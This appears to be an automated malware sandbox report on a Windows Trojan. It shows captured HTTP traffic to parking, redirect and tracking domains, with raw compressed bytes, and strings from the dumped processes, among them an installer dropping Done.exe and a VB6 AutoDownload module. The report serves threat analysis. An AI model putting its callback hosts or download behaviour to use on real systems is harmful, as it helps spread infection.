Content-Type: text/html; charset=UTF-8

Cache-Control: private

Content-Encoding: gzip

Transfer-Encoding: chunked

F74 .............Z.r.....S.w.......$q..{....6 .p.....$..u.bO.....<.Y.....I.d.2.\..V..u...h......0..!..Tt3.\]..X<.......PE.M.}.........(...d......8f1.\.V.U*aX...K..,.....NdeBr....w...kM.m....P(..cH...ci...bA6|.]_...q...\.K.S..*.n.._.W.r.R.......8..N[.%^....i.......<X..>.YsQ..W7......n..Z.....\........2....}.3.^;/.j.r.....&..'.K...R...\~n._4.../.v%......)f..z..u/W......x........4...."....F.\.v....!X:;.EK1..lL....v..x......[.O..i..yc>.-q...W....aE....hhIs.....e...}o..W.<...H...X.TR..T.CD.....6O.hE.....H2DW.X&D.`..TB..c0!vR..%...^.a...v....S6......qU.wF.A..6...I.t;.zX`..0h.....C... ..Z.\.^.2...k...e.19R...h]..Zn{P....A.a..bg0#...<5...d..{M.v.\pR.........L.......S>.'.....!m......eE..}sOJ.E...1........V...........~._...F..t..()..C..;.5...Q>.....?bY&.W".4S..;%..8GH..4..X.....Q.%.N..Q.Y}7.4..A.{..8...i.......$Jds/c()..(c.&.?........K..L..,..]).#..Y*".{7....)a5n.X%<p.'.....Zt......).........J..,.v......'.K....LI..\............hX.fy...NJ.p.U.I...<UyR...{......l..uqJf.E>E...!.z.L-.....c.J.b.*.....%cI..j..HV$....b SEU....y.)".$.e..,.....=.5.9..==..VD,..g..6zzf.$*z...D."s.~\....w../..............GRd9s]B...k..).-..'.$.....O......*...bq1..W....f3..............F.a.1...6.(.MC.....2......b....../7.....p.V...H..1C...al.8......n..k....)lB.....9....N#......".I.......Fb..NP....?..[...,....Jf.!8.3....._r......E.....mXE.P ..g.z!Y..........e#..s@4T.F.R......i`04."......`.X...-...@.....|.M....a(.@..,!.E|o.o7....a...'..A.Er....f....!.f....D.......2.."$>um...3.S...XTu0...S..S...8......... E.^$. . ..J

<<< skipped >>>

GET /px.js?ch=1 HTTP/1.1

Accept: */*

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: quickdomainfwd.com

Connection: Keep-Alive

Cookie: vsid=931vr2204048382330680

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 23:33:59 GMT

Server: Apache

Last-Modified: Thu, 11 Jun 2015 06:47:35 GMT

Accept-Ranges: bytes

Content-Length: 346

Cache-Control: max-age=1209600

Expires: Fri, 16 Sep 2016 23:33:59 GMT

Vary: Accept-Encoding,User-Agent

Keep-Alive: timeout=5, max=124

Connection: Keep-Alive

Content-Type: application/x-javascript

GET /px.js?ch=2 HTTP/1.1

Accept: */*

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: quickdomainfwd.com

Connection: Keep-Alive

Cookie: vsid=931vr2204048382330680

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 23:33:59 GMT

Server: Apache

Last-Modified: Thu, 11 Jun 2015 06:47:35 GMT

Accept-Ranges: bytes

Content-Length: 346

Cache-Control: max-age=1209600

Expires: Fri, 16 Sep 2016 23:33:59 GMT

Vary: Accept-Encoding,User-Agent

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: application/x-javascript

GET /sk-logabpstatus.php?a=cG5SaDdSNW9TTW9ySkp2dndXYmRaT0t4TUJTTWc2VFV2MlFBMGxia2Njc25kVnRMM0IvN0p2eFFucWxBb3JuMUFXY1ZUR01Fcis5a0hSYlg3bVhKeklMRHlEOHk2dGpKQkpUUEx5ZHhhS2M9&b=false HTTP/1.1

Accept: */*

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: quickdomainfwd.com

Connection: Keep-Alive

Cookie: vsid=931vr2204048382330680

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 23:33:59 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 0

Keep-Alive: timeout=5, max=123

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

HTTP/1.1 200 OK..Date: Fri, 02 Sep 2016 23:33:59 GMT..Server: Apache..Vary: Accept-Encoding,User-Agent..Content-Length: 0..Keep-Alive: timeout=5, max=123..Connection: Keep-Alive..Content-Type: text/html; charset=UTF-8..

GET /?dn=flvtube.net&pid=9PO755G95 HTTP/1.1

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Accept: */*

Host: quickdomainfwd.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 23:33:59 GMT

Server: Apache

Set-Cookie: vsid=911vr2204048399131698; expires=Wed, 01-Sep-2021 23:33:59 GMT; path=/; domain=quickdomainfwd.com; httponly

Expires: Mon, 22 Jul 2002 11:12:01 GMT

Cache-Control: private, no-cache

Pragma: no-cache

Vary: Accept-Encoding,User-Agent

Content-Length: 4972

Keep-Alive: timeout=5, max=127

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<html><head><meta http-equiv="refresh" content="0;url=http://tzpzc.com/trf?&o=0zale1OyxwReX+DsASyd7seoir0WeLsOCJ08ecQtUnOnFmse6FvzEkIWtA4gdJbeGiDYXasOOEcYtS9q250IBLpm9r5yWjv7BGvVMkoZ5QFR8bII5bl4mTN5VabSQDJEe1hNQKtFr+YMjr50MnCqXhefl0GHj2Gg8dW9h9CL3pe2qfrEXM5Hg2JUdYYrb496Ry1CK6XJZZKkeVpaUCYhSIgBrxpOgWhciEthJJ/nGzwS9AcYK3gT0Vw6Alrtj3X0+4G849hG1ocvXxhE3mYB8NudhDblJxQ2fszsTM+Ji/2IMuyYZbPAM3QlKZZNqFZhDrhVwSCt+oB+xWll95XJZp1t0YuAIPyc0E0T/O0EgpzUJYGLQSybOJW5K1jrlNso&c=21112204048400131698297&n=WS8heeJNQz3Q7ooJ6iuoCRVx94+GjX8HVWVUDsw7OISdMtrS4hdPWlHvtCziaQbyA7qnU/J18C6iSPxOXNF6kxTvd8ACl19FW1CJdhlQFZZxRSozAwYtUaGLWOrHJFU4FHAJcZd0xlUraGmBliJrn6acKkPhQCAZgFlJQHWPQwPB1urSlz2z42prJtwmFpsagRXVCPZNFyZpcCrDGh1AnMJrlLx4gVT7Cwo8iLHJ36i0oN3YsM+rwvPrSoQducgjCH9TAz6yo7dfwTHqnhBtIX/di84r0L6L/9M78gkLYGPlLKbTG34f6OGErum8MdPEa8qNcpnFh/IqDkwDhEWGT6xecnd2H+FToislZ5EKB/6pFnmbfQ+LmjRn+wb8kHBOaw2w7NMBUw2V32gc/Me7F2lwOiRyjLuGENQhWnnTZFR6AuqNpMmViIM2J9TxfU/2&kgp=0" /><META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTENT="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeunload="" onunload=""><script language='javascript' type='text/javascript'>try.....{..... function getCookie(cname) {. var name = cname '=';. var ca = document.cookie.split(';');. for(var i=0; i<ca.length; i ) {.

<<< skipped >>>

GET /__media__/pics/8624/numArrow.gif HTTP/1.1

Accept: */*

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i1.cdn-image.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Content-Type: image/gif

Content-Length: 1526

Last-Modified: Thu, 15 Jan 2015 11:18:48 GMT

ETag: "54b7a218-5f6"

Accept-Ranges: bytes

Cache-Control: public, max-age=33010

Expires: Sat, 03 Sep 2016 08:44:09 GMT

Date: Fri, 02 Sep 2016 23:33:59 GMT

Connection: keep-alive

GIF89a..B.....u.....w.....v........~........y.................{.....y..y..}...................................z.....}..|..x..z...............................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:F7C11CEE9C9D11E4B417B9B10F9F154F" xmpMM:DocumentID="xmp.did:F7C11CEF9C9D11E4B417B9B10F9F154F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F7C11CEC9C9D11E4B417B9B10F9F154F" stRef:documentID="xmp.did:F7C11CED9C9D11E4B417B9B10F9F154F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,......B.....H`H,..EI..l.F.....p..*...j.... ..._.by&...h;..$...g^.".}...g...lY..rS.U.].U........^...N......c.U&H.U..G.U..T.. .n.....!....C...y.$..Z%......................w............................2t.` u....dH^.

<<< skipped >>>

GET /__media__/pics/8624/searchIcon.gif HTTP/1.1

Accept: */*

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i1.cdn-image.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Content-Type: image/gif

Content-Length: 1401

Last-Modified: Thu, 15 Jan 2015 11:18:52 GMT

ETag: "54b7a21c-579"

Accept-Ranges: bytes

Cache-Control: public, max-age=58462

Expires: Sat, 03 Sep 2016 15:48:21 GMT

Date: Fri, 02 Sep 2016 23:33:59 GMT

Connection: keep-alive

GIF89a.......................................................................................................................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:1B2496659CA111E4B60CAF73BB5A002F" xmpMM:DocumentID="xmp.did:1B2496669CA111E4B60CAF73BB5A002F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1B2496639CA111E4B60CAF73BB5A002F" stRef:documentID="xmp.did:1B2496649CA111E4B60CAF73BB5A002F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,..........|@.....@..r).8.......J".KzpR..ga.....I`.....Q.......g.. .M.K...cJ'N.R......N.h.O....R...N..&NIh....B.N.h.!N..R.v...K..N.K...A.;..

<<< skipped >>>

GET /click/?s=151123&c=255416 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: lwken.com

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Fri, 02 Sep 2016 14:08:13 GMT

Server: Apache/2.2.15 (CentOS)

Location: hXXp://park.lwken.com?s=151123&c=255416

Content-Length: 326

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://park.lwken.com?s=151123&c=255416">here</a>.</p>.<hr>.<address>Apache/2.2.15 (CentOS) Server at lwken.com Port 80</address>.</body></html>...

GET /12224 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.flvtube.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 23:12:38 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444

X-Language: english

X-Template: tpl_CleanPeppermintBlack_twoclick

Content-Encoding: gzip

36f.............T.r.H.][_.0U......1...."... ...&.j..F..H....y...d....q...=}..h..i=/9.....]|Y?p..........o.&..I....Jr..i."..:.......(.R(.B...........~.h.)8...z...)..\..1..(...^.=.....S.F...^i.'...&...9h.UBL(b?C....._U.!M(I..<.....RyJN.T.f..P......LyP..q..)G.H....zE...E(9...BO..O.......s.....r......gu.H...am.....Z........0...<..m{1.u._.l._cxqBh..Ps|;X.,y ..Z.b(Bs.[.........4...m....z.y0..a....A...D7..2...l.zp(.{Um......3..EQN...#1q.k ......k..e..z......|.c....n..g3j:.....wpI..GN...n..$..J]..6CzF...S.h.....V..~.(.&.3RV..(gz.[P..|(.y.cj.]....]........v.R...y...g..[;=s.K6..H.d]f..mSB3...'....1.<..U....\AY7.d.v.2..%x..6..X4vK....LF.~9.pg]...=P.....F..U....kO....}.j....Z.......}i.Qd....../...V.....6. .........;`.O.sw..jj...'-.4.RTI.-.\...[.............S.c;......sju.[h..}......i/.=..G.t<....(.........."#...zW4=.Q...c!x.q.....V............$jg.\.}GU..O..J....OvdW.s.4.5.m.._UaT0......0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:12:38 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444..X-Language: english..X-Template: tpl_CleanPeppermintBlack_twoclick..Content-Encoding: gzip..36f.............T.r.H.][_.0U......1...."... ...&.j..F..H....y...d....q...=}..h..i=/9.....]|Y?p..........o.&..I....Jr..i."..:.......(.R(.B...........~.h.)8...z...)..\..1..(...^.=.....S.F...^i.'...&...9h.UBL(b?C....._U.!M(I..<.....RyJN.T.f..P......LyP..q..)G.H....zE...E(9...BO..O.......s.....r......gu.H...

<<< skipped >>>

GET /track.php?domain=flvtube.net&toggle=browserjs&uid=MTQ3Mjg1OTIzNy40ODUzOjIwNzc2ZjRmMzdkMTI5MDdiZjI4Y2U0MGI1YmM0MTBmYTNkZjAxODBlMTYyZDQyODk2NjhhMjA0MmU5ZTg1Y2Q6NTdjYTBjNjU3NjgwOA== HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://VVV.flvtube.net/12224

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.flvtube.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 23:12:39 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Content-Encoding: gzip

14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:12:39 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Access-Control-Allow-Origin: *..Content-Encoding: gzip..14........................0..

GET /__media__/js/min.js?v1.9 HTTP/1.1

Accept: */*

Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i2.cdn-image.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Content-Type: application/x-javascript

Last-Modified: Tue, 31 May 2016 14:06:17 GMT

ETag: "574d9a59-21bd"

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Encoding: gzip

Cache-Control: public, max-age=39963

Expires: Sat, 03 Sep 2016 10:40:02 GMT

Date: Fri, 02 Sep 2016 23:33:59 GMT

Content-Length: 3040

Connection: keep-alive

...........Y{s.6...3..4;.!#...9_ ..(.sI.N<....d4....(..A....~....D9..w.......o..{=#."..z.g.[..d..D..oz....xf.......0.c.x..<?....3...K.0&...".bzk........$....e....~GB..v..4.1.F..._...............x...7#...e..........A.E..P....sj.W.Z0...fc]....P.....wK(.. /9 N....S..x...0m'.B..KB.;g|.}$......(.......M....je.PA....P0..m.c.O.a.y....A.......B-5.P~s..T.,.9..C .H...O..4>.|.Y....EI......gn.8..?%.v..G....g..8..>..|9.<..X.f.H.w!`L.R...z{)oC.c.4$....<..CJ...;..]..v...`)x...@@.McrdU.~....s,b....>;}.A.....Lt:j.....;r.~.; ...-........G=W..E.......9.|.X.M....M.w..,b.9K.>hYs..Oo....S&%s.....c......AS..do......)...^z.x.o... .x..p.?X..x..0...i...W..$.%}..\..y.....#i;....>.}.Y..k.............sJ.O._..6...LRA.3..~....w...|E.E.....>.y..[o .,{4 ..`.....?..........i;....E..i9...../RX.zf...ju....S.t.....( R..FU.(x.[.v..!v.._c..A.f........%..h....b....Y..W0.3.#{.....1.v......l..@./xS..%G=.."...'.b..3..Z.).V.%.&.R".G....d....:.zv9...^........].....A.......}>...D.lx.d........v...Al.{3...8.5fX]............'...rdh.L.....s...V}l.....Y..Y...NNc..g%..#...@..* .ot^~.p......2' S.O.|OR.#..?U...< ...n..\.>.........*..Be}syv.,Y...tM<Nb......1Y..R...^.....(..u...}...H==..m..{jJ...w:.G..E...........mo....%(..#<.6.f|.....&V KS2..8..;sQ....=...|*.Aa:gY...#-...~.W@..{.\nvf!...]T..... .X.V..[.F..P.5.>>....A.0:.....O...z.G.TI{z.2oXn.1....cF....C0.y@..(....Q....H.b4.].......Kq..... )........#....#...1..h#....]......@E.!v...o.....R_D^.tt.&...K.IM..BS..0.N....2hO.`.1qS(..Cr'%%1.\w.JvI..v...$9%s1...a.3c.Cc.v.7

<<< skipped >>>

GET /assets/scripts/js3.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.flvtube.net/12224

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: parkingcrew.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 23:12:38 GMT

Content-Type: application/javascript

Content-Length: 17915

Connection: keep-alive

Last-Modified: Tue, 23 Feb 2016 09:02:42 GMT

ETag: "56cc2032-45fb"

Accept-Ranges: bytes

<<< skipped >>>

GET /?s=151123&c=255416 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: park.lwken.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 23:36:39 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444

Content-Encoding: gzip

3e9.............T[s.H.~...q.b....F6..Dr..mt..x.j.F...M@...o...T..<X..|.?.......)._.........1.B.J...T..h....z.d./..Å¾4MP$I.. t}.v.JRY.b..i...R..Zr.>....Rt........8J../......<.l.......Q.....Ir..6..i<...&...._a. ......4M.I....HW..k.e.bR..F.>.r.&...F]..%...1.q.........=!B..@[..q..6.w..@...1..0.z-E......".?..[.C.lM....B...<.f=.j..X...*.\..\U 0e..c....[..Em.M.........\..8.-..Z..o==......'.C..c^.x....6..@`k....w.....(.?.q^, ..4.IL\.{......<.r.2..zv...;..{bn....8.................6....r...B.......".I.KB:8O..gx.;Jw..f 8#...&...!?.r).U1.{.'._..[Z..w...9..r.....]..y_.V.5...d....W#.x... ..{.....JS..(\].....'.J.Q.W.]........P.....<.J'.*...sY5_.......,.(...);..Y....2t.Y.....<......Nz3...z.I....~.Y..&nZ.i.....W$..R...?.3.]|...y;...B...G..qa.5...]~.^t......W.u.]..:.G.>.<..2.......<.^.t.X.......B.3.qV.........n.........../.]............TW.V.....P...........pB..>y..s:..M^.....<..6W.).:.E.T.k.;M.2.hcS. ...,.q....v...x.....94...e.\6<....r_\.Hy ^b..........F[u:z.3.....$.~o..S...t.fy........%..q,.....W......C......0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:36:39 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444..Content-Encoding: gzip..3e9.............T[s.H.~...q.b....F6..Dr..mt..x.j.F...M@...o...T..<X..|.?.......)._.........1.B.J...T..h....z.d./..Å¾4MP$I.. t}.v.JRY.b..i...R..Zr.>....Rt........8J../......<.l.......Q.....Ir..6..i<...&...._a.

<<< skipped >>>

GET /track.php?domain=lwken.com&toggle=browserjs&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA== HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://park.lwken.com/?s=151123&c=255416

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: park.lwken.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 23:36:40 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Content-Encoding: gzip

14........................0......

GET /track.php?click=5b53ccd02792a79936184954fc4d1abe5dbbc818&domain=lwken.com&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==&ts=fHx8ZDQxZDh8fHxidWNrZXQwMzl8fHx8NTdjYTBjNjY4ZTQxOXx8fDE0NzI4NTkyMzkuMDQ3M3xkN2MwNzZlNTFkZjMwZTFkMDQzYzkzZmY2NjVjNzNhOTVmZGUwZjg2fHx8fHwxfHx8MHw1N2NhMGM2N2Y1NTI1ZmZlMjI4YjRkZDJ8fHx8fHx8fDB8MHx8fHx8fHx8fA==&kw=&search=&pcat=&rxid=&bucket=&clientID=&adtest=off HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://park.lwken.com/?s=151123&c=255416

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: park.lwken.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 23:36:40 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Content-Encoding: gzip

14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:36:40 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Access-Control-Allow-Origin: *..Content-Encoding: gzip..14........................0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

SLFAT.exe_1824:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|/":

cuments and Settings\"%CurrentUserName%"\Application Data\Done.exe

open "%Documents and Settings%\%current user%\Application Data\Done.exe"

"%Documents and Settings%\%current user%\Application Data\Done.exe"

.reloc

q.cf&

MB, # %s =

RAM %s

N)0.BG

:\Documents and Settings\"%CurrentUserName%"\Application Data\Done.exe"

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\SLFAT.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp

SLFAT.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso6.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\SLFAT.exe

rundll32.exe_636:

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

GDI32.dll

USER32.dll

IMAGEHLP.dll

rundll32.pdb

.....eZXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

...eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

%Xnnnnnnnnnnnnnnn1

O3$dS7"%U9

.manifest

5.1.2600.5512 (xpsp.080413-2105)

RUNDLL.EXE

Windows

Operating System

5.1.2600.5512

YThere is not enough memory to run the file %s.

Please close other windows and try again.

9The file %s or one of its components could not be opened.

0The file %s or one of its components cannot run.

MThe file %s or one of its components requires a different version of Windows.

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

Error in %s

Missing entry:%s

Error loading %s

Gi.exe_188:

`.rsrc

Ludps

WebBrtsLr

vb6chs.dll

udpsocket

AutoDownload.Socket

WebBrowser1

SHDocVwCtl.WebBrowser

shdocvw.dll

WebBrowser

VBA6.DLL

InternetOpenUrlA

wininet.dll

HttpQueryInfoA

%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB

%System%\shdocvw.oca

oudpsocket

advapi32.dll

RegCreateKeyA

RegCloseKey

RegOpenKeyA

shell32.dll

udpstop

ws2_32.dll

%System%\msvbvm60.dll\3

RemotePort

LocalPort

netapi32.dll

GetProcessHeap

SAFE_zQuZurLIyBzlabGZV6J67mp4vZAE92eS

SAFE_xYSsheV2XTHEjnoMQnsB5YaROhI86Qj8

Returns/Sets the port to be connected to on the remote computer

lngPort

Returns/Sets the port used on the local computer

Binds socket to specific port and adapter

Occurs after a send operation has completed

.text

`.data

.rsrc

wsS2%S-eu$S2%ro@

K.WAR

BlS2%Sizz%S2%arS2

orS2u`d/ o%S2%f 2%S2WarS2%Scra$S2%ftQ

dJol%S2

Cd 2%S2of S2%SWar%S2%cr2%S2aftj

2%S2w.eF2%Sxe

Tr%S2%ia

Ã²lat

Lexe

WS2%Sow.%S2%exH

Atl%S2%an2%S2tic

ofS2%S wa%S2%rc2%S2rafe!%St@

KERNEL32.DLL

MSVBVM60.DLL

*\AS:\Worker\tempvbp\AutoDownload.vbp

USER32.DLL

ADVAPI32.DLL

WININET.DLL

RegOpenKeyExA

